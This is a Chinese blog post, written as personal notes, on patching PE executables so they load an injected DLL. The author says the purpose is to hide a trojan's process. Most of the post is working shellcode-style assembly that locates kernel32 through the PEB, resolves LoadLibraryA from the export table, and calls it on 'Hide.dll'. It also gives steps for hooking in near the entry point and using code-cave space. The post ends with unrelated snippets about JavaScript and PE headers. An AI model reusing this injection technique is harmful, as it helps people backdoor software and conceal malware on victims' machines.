擴充PE檔案功能

2021-04-12 19:58:31 字數 1936 閱讀 5692

擴充pe檔案功能的方法大概有以下幾種:

1 直接在pe中新增** ;這個實現起來比較難,要像病毒一樣實現感染和自定位,而且新增的**比較少, 因為都需要用彙編實現,編寫複雜功能**本身就是很累的事;

2 新增dll,擴充功能的**在dll中實現。這樣做有很多優點。原來的exe檔案只需呼叫loadlibrary()函式載入dll就可以;

3 其他的還有補丁,外掛程式之類的,因為接觸少,所以不敢介紹;

今天我用載入dll的方法實現了對乙個木馬的程序隱藏。程序隱藏的**我封裝到了dll中,使用pjf介紹

的改寫活動程序鍊錶方法,使自身程序脫鏈實現隱藏。**這裡不公開;

著重要說的是怎麼修改pe檔案。思路就是新增**進去使它呼叫loadlibrary()函式載入我的dll。首先想到是修改iat表,但這樣不夠靈活,因為iat表是在程序建立時是系統動態新增的。所以考慮找到loadlibrary()在 程序空間的位址,然後直接call函式位址實現;

首先要找到kernel32.dll的載入基位址,這個很簡單了,看下面的**。病毒,shellcode裡大多這樣實現,通過peb獲得kernel32.dll基位址

mov eax,fs:30h

mov eax,[eax+0ch]

mov esi,[eax+1ch]

lodsd

mov ebp,[eax+8]

後面要做的是查詢loadlibrary()位址

mov eax,[ebp+3ch]

mov edx,[ebp+eax+78h]

add edx,ebp

mov ecx,[edx+18h]

mov ebx,[edx+20h]

add ebx,ebp       ;addressofnames

search:

dec ecx

mov esi,[ebx+ecx*4]

add esi,ebp

mov eax,0x64616f4c

cmp [esi],eax

jne search

mov eax,0x7262694c

cmp [esi+4],eax

jne search

mov eax,0x41797261

cmp [esi+8],eax

jne search

mov ebx,[edx+24h]   ;addressofnameordinals,根據序號計算位址

add ebx,ebp

mov cx,[ebx+ecx*2]

mov ebx,[edx+1ch]

add ebx,ebp

mov eax,[ebx+ecx*4]

add eax,ebp

這裡有一點要注意,loadlibrary()實際上有ansi和unicode兩個版本,而我們要找得到的是ansi的loadlibrarya()函式位址,所以函式名比較部分總共比較了3次,12個字元。

ok,現在loadlibrarya()函式位址已經儲存在eax中,呼叫方法如下:

xor ecx,ecx

push 0x6c6c642e

push 0x65646948   ;dll檔名進棧,注意位元組順序

push esp

call eax

add esp,0ch     ;平衡堆疊 昨天晚上居然寫成了add esp,12h 這樣的低階錯誤害我調式n久才發現!

這樣基本上能實現dll的載入。另外還有幾個小細節:

1 修改位置。 我選擇了在oep附近進行修改,使用jmp跳轉到**節的空隙處。

2 **開始要加上pushad 和 pushfd ,末尾要加上 popfd 和 popsd 。這個自然是保護暫存器環境。

3 程式跳轉時的指令對齊。這個基本上沒有困擾我,以前改特徵碼時積累了些方法。

另外這樣的方法也有侷限性,當**節剩餘空間不足時要先擴充節空間或建新節。

暫時就這些,全當一次pe diy的筆記。

JS擴充型別的功能

通過給funtion.prototype增加方法來使得該方法對所有函式可用 function.prototype.method function name,func return this 給number物件增加乙個取整方法 number.method integer function docume...

PE檔案詳解之PE檔案頭

1,pe檔案頭 pe header 緊挨著 dos stub 2,pe header 是pe相關結構nt映像頭 image nt header 的簡稱。裡面包含著許多pe裝載器用到的重要字段。3,執行體在支援pe檔案結構的作業系統中執行時,pe裝載器將從 image dos header 結構中的 ...

PE檔案詳解之PE檔案頭

1,pe檔案頭 pe header 緊挨著 dos stub 2,pe header 是pe相關結構nt映像頭 image nt header 的簡稱。裡面包含著許多pe裝載器用到的重要字段。3,執行體在支援pe檔案結構的作業系統中執行時,pe裝載器將從 image dos header 結構中的 ...